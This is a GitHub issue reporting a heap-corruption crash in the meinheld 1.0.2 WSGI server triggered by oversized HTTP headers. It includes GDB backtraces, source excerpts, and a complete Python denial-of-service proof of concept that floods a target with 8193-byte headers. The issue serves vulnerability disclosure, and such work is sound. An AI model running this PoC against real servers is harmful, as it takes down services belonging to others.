Buffer memory-related overflow on HTTP header value limit if exceeded
1modm opened this issue · 3 comments
Description
A crash, that appears to be a heap overflow, is generated when the HTTP header value limit defined (8192 bytes) is exceeded, and the HTTP request is sent remotely in order to fragment the packet, in localhost the MTU is not 1500 bytes and the packets are not fragmented and the error is not generated.
The HTTP RFC does not fix the header length but is at least stating:
3.1.1. Request Line
3.2.5. Field Limits
Like meinheld, when this limit is exceeded, other servers generally respond with either a 400 or 413 when the request headers are too big. But after 2-3 HTTP requests meinheld server crash.
Environment information
# python --version
Python 2.7.18
# uname -a
Linux ubuntu-2gb-1 5.4.0-54-generic #60-Ubuntu SMP Fri Nov 6 10:37:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
# python3 --version
Python 3.8.5
# pip3 show meinheld
Name: meinheld
Version: 1.0.2
Summary: High performance asynchronous Python WSGI Web Server
Home-page: http://meinheld.org
Author: yutaka matsubara
Author-email: yutaka.matsubara@gmail.com
License: BSD
Location: /usr/local/lib/python3.8/dist-packages
Requires: greenlet
Required-by:
Analysis
It seems that the crash is generated when a new buffer is requested and PyMem_Malloc is called is not able to handle the limits defined in meinheld/server/request.h
#define LIMIT_PATH 1024 * 8
#define LIMIT_FRAGMENT 1024
#define LIMIT_URI 1024 * 8
#define LIMIT_QUERY_STRING 1024 * 8
GDB output:
gdb-peda$ bt
#0 __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1 0x00007ffff7df5859 in __GI_abort () at abort.c:79
#2 0x00007ffff7e603ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7f8a285 "%s\n") at ../sysdeps/posix/libc_fatal.c:155
#3 0x00007ffff7e6847c in malloc_printerr (str=str@entry=0x7ffff7f8cad8 "malloc(): unsorted double linked list corrupted") at malloc.c:5347
#4 0x00007ffff7e6b46c in _int_malloc (av=av@entry=0x7ffff7fbbb80 <main_arena>, bytes=bytes@entry=0x400) at malloc.c:3744
#5 0x00007ffff7e6d2d4 in __GI___libc_malloc (bytes=0x400) at malloc.c:3058
#6 0x00000000005b9841 in ?? ()
#7 0x00007ffff77162e5 in new_buffer (buf_size=buf_size@entry=0x400, limit=limit@entry=0x2000) at meinheld/server/buffer.c:91
#8 0x00007ffff771cd7d in url_cb (p=<optimized out>,
buf=0x7ffffffedd94 "/ HTTP/1.1\r\nHost: 192.168.10.100:8000\r\nUser-Agent: python-requests/2.25.1\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\ntest: ", 'A' <repeats 50 times>..., len=0x1) at meinheld/server/http_request_parser.c:630
#9 0x00007ffff772010e in http_parser_execute (parser=0x7ffff759eb40, settings=settings@entry=0x7ffff772bc20 <settings>,
data=data@entry=0x7ffffffedd90 "GET / HTTP/1.1\r\nHost: 192.168.10.100:8000\r\nUser-Agent: python-requests/2.25.1\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\ntest: ", 'A' <repeats 46 times>..., len=len@entry=0x59a) at meinheld/server/http_parser.c:1081
#10 0x00007ffff771d52e in execute_parse (cli=cli@entry=0x7ffff75929c0,
data=data@entry=0x7ffffffedd90 "GET / HTTP/1.1\r\nHost: 192.168.10.100:8000\r\nUser-Agent: python-requests/2.25.1\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\ntest: ", 'A' <repeats 46 times>..., len=len@entry=0x59a) at meinheld/server/http_request_parser.c:880
#11 0x00007ffff7719816 in parse_http_request (fd=<optimized out>, r=0x59a,
buf=0x7ffffffedd90 "GET / HTTP/1.1\r\nHost: 192.168.10.100:8000\r\nUser-Agent: python-requests/2.25.1\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\ntest: ", 'A' <repeats 46 times>..., client=0x7ffff75929c0) at meinheld/server/server.c:1132
#12 read_request (loop=<optimized out>, fd=<optimized out>, client=0x7ffff75929c0, call_time_update=<optimized out>) at meinheld/server/server.c:1132
#13 0x00007ffff771bb5a in accept_callback (loop=0xa58490, fd=0x3, events=<optimized out>, cb_arg=<optimized out>) at meinheld/server/server.c:1200
#14 0x00007ffff772409f in picoev_poll_once_internal (_loop=_loop@entry=0xa58490, max_wait=<optimized out>) at meinheld/server/picoev_epoll.c:172
#15 0x00007ffff771b035 in picoev_loop_once (max_wait=<optimized out>, loop=0xa58490) at meinheld/server/picoev.h:387
#16 meinheld_run_loop (self=<optimized out>, args=<optimized out>, kwds=<optimized out>) at meinheld/server/server.c:1739
#17 0x00000000005f4249 in PyCFunction_Call ()
#18 0x00000000005f46d6 in _PyObject_MakeTpCall ()
#19 0x0000000000570936 in _PyEval_EvalFrameDefault ()
#20 0x000000000056955a in _PyEval_EvalCodeWithName ()
#21 0x000000000068c4a7 in PyEval_EvalCode ()
#22 0x000000000067bc91 in ?? ()
#23 0x000000000067bd0f in ?? ()
#24 0x000000000067bdcb in PyRun_FileExFlags ()
#25 0x000000000067de4e in PyRun_SimpleFileExFlags ()
#26 0x00000000006b6032 in Py_RunMain ()
#27 0x00000000006b63bd in Py_BytesMain ()
#28 0x00007ffff7df70b3 in __libc_start_main (main=0x4eea30 <main>, argc=0x2, argv=0x7fffffffe4f8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe4e8)
at ../csu/libc-start.c:308
#29 0x00000000005fa4de in _start ()
0x00007ffff77162e5 in new_buffer (buf_size=buf_size@entry=0x400, limit=limit@entry=0x2000) at meinheld/server/buffer.c:91
meinheld/server/buffer.c
buffer_t *new_buffer(size_t buf_size, size_t limit) {
buffer_t *buf;
// buf = PyMem_Malloc(sizeof(buffer));
// memset(buf, 0, sizeof(buffer));
buf = alloc_buffer();
buf->buf = PyMem_Malloc(sizeof(char) * buf_size);
buf->buf_size = buf_size;
if (limit) {
buf->limit = limit;
} else {
buf->limit = LIMIT_MAX;
}
// buf->fill = 1;
return buf;
}
Steps to reproduce
1- Install meinheld 1.0.2
2- launch any example: python3 hello_world.py commenting server.set_access_logger(None) It seems that the issue only occurs when server.set_access_logger is not set
3- Execute the next PoC from a different server:
import requests
import argparse
import sys
from termcolor import colored
def cmdline_parser():
parser = argparse.ArgumentParser(conflict_handler='resolve', add_help=True,
description='meinheld DoS',
usage="python %(prog)s")
# Mandatory
parser.add_argument('server', type=str, help=' server URL, ie: http://192.168.1.100:8000')
return parser
#------------------------------------------------------------------------------
# Main of program
#------------------------------------------------------------------------------
def main():
# Get the command line parser
parser = cmdline_parser()
# Show help if no args
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
# Get results line parser
results = parser.parse_args()
meinheldServer = results.server
buf = "A" * 8193 # 8192 max
headers = {'test': buf}
for i in range(0, 50):
response = requests.get(meinheldServer, headers=headers, stream=True)
print('-------------- Response ---------------------------')
print(response.status_code)
#------------------------------------------------------------------------------
# Main
#------------------------------------------------------------------------------
if __name__ == '__main__':
main()
It seems that the issue only occurs when server.set_access_logger is not set
server.set_access_logger(None)
wsgi-meinheld.py
from meinheld import server
def hello_world(environ, start_response):
status = b'200 OK'
res = b"Hello world!"
response_headers = [('Content-type', 'text/plain'), ('Content-Length', str(len(res)))]
start_response(status, response_headers)
return [res]
server.listen(("0.0.0.0", 8000))
server.run(hello_world)
$ python wsgi-meinheld.py
"192.168.9.17 - - [03/Feb/2021:01:43:16 +0100] "GET / HTTP/1.1" 200 12 "-" "Wget/1.20.3 (darwin19.0.0)"
"192.168.9.17 - - [03/Feb/2021:01:43:16 +0100] "- - HTTP/1.0" 400 84 "-" "python-requests/2.25.1"
"192.168.9.17 - - [03/Feb/2021:01:43:16 +0100] "- - HTTP/1.0" 400 84 "-" "python-requests/2.25.1"
"192.168.9.17 - - [03/Feb/2021:01:43:16 +0100] "- - HTTP/1.0" 400 84 "-" "python-requests/2.25.1"
"192.168.9.17 - - [03/Feb/2021:01:43:16 +0100] "- - HTTP/1.0" 400 84 "-" "python-requests/2.25.1"
corrupted double-linked list
Aborted (core dumped)
Mitigation
A potential mitigation strategy is to avoid the use of meinheld as front http server and use apache or nginx to handle http requests headers that exceed 8192 bytes
Hi,
I have a similar issue.
I send POST request and response headers are returned fast but response for body takes over 12 minutes.
Response content length has 1898653 chars - it's 1.81MB.
It is very weird because when I send request without meinheld - whole process takes 4,5sec.
I'm using Ubuntu 18.04 + gunicorn 20.0.4 + falcon + 3.0.2 + meinheld 1.0.2 + python 3.7
Could you help me resolve this issue?
@AniaKru95 For me the only way to fix that issue was to put an apache or nginx in front of the meinheld.
I still have this issue.
Now, I use configuration described above with nginx in front and got an error from net::ERR_CONTENT_LENGTH_MISMATCH 200 (OK).
It's nginx error but meinheld causes this issue.
If it runs without meinheld, everything works fine